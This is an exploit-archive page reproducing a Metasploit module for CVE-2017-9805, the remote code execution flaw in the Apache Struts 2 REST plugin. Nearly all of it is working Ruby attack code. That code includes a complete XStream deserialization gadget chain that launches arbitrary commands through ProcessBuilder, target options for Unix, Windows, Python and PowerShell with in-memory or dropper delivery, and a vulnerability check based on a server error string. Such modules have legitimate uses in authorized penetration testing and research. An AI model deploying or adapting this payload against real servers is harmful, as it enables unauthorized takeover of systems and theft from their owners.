Sploitus

Exploit for Apache Struts 2 REST Plugin XStream RCE

metasploit Β· 2017-09-05

Exploit Code

ruby228 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-STRUTS2_REST_XSTREAM-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts 2 REST Plugin XStream RCE',
        'Description' => %q{
          Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12,
          using the REST plugin, are vulnerable to a Java deserialization attack
          in the XStream library.
        },
        'Author' => [
          'Man Yue Mo', # Vulnerability discovery
          'wvu'         # Metasploit module
        ],
        'References' => [
          ['CVE', '2017-9805'],
          ['URL', 'https://struts.apache.org/docs/s2-052.html'],
          ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],
          ['URL', 'https://github.com/mbechler/marshalsec']
        ],
        'DisclosureDate' => '2017-09-05',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory
            }
          ],
          [
            'Windows (In-Memory)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_memory
            }
          ],
          [
            'Python (In-Memory)',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'Type' => :py_memory
            }
          ],
          [
            'PowerShell (In-Memory)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_memory
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          ],
          [
            'Windows (Dropper)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3'])
    ])
  end

  def check
    return CheckCode::Appears('The target appears to be vulnerable') if execute_command(rand_str)

    CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    case target['Type']
    when /memory/
      execute_command(payload.encoded)
    when /dropper/
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    cmd =
      case target['Type']
      when :unix_memory, :linux_dropper
        %W[/bin/sh -c #{cmd}]
      when :py_memory
        %W[python -c #{cmd}]
      when :psh_memory
        if payload
          cmd_psh_payload(
            cmd,
            payload.arch.first,
            remove_comspec: true,
            encode_final_payload: true
          ).split
        else
          %W[powershell.exe -c #{cmd}]
        end
      when :win_memory, :win_dropper
        %W[cmd.exe /c #{cmd}]
      end

    # Encode each command argument with XML entities
    cmd.map! { |arg| arg.encode(xml: :text) }

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'ctype' => 'application/xml',
      'data' => xstream_payload(cmd)
    )

    return false unless check_response(res)

    true
  end

  # java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO
  def xstream_payload(cmd)
    # XXX: <spillLength> and <read> need to be removed for Windows
    <<~EOF
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="java.lang.ProcessBuilder">
                            <command>
                              <string>#{cmd.join('</string><string>')}</string>
                            </command>
                            <redirectErrorStream>false</redirectErrorStream>
                          </next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.lang.ProcessBuilder</class>
                            <name>start</name>
                            <parameter-types/>
                          </method>
                          <name>#{rand_str}</name>
                        </filter>
                        <next class="string">#{rand_str}</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer></ibuffer>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>
    EOF
  end

  def check_response(res)
    res && res.code == 500 && res.body.include?(error_string)
  end

  def error_string
    'java.lang.String cannot be cast to java.security.Provider$Service'
  end

  def rand_str
    Rex::Text.rand_text_alphanumeric(8..42)
  end

end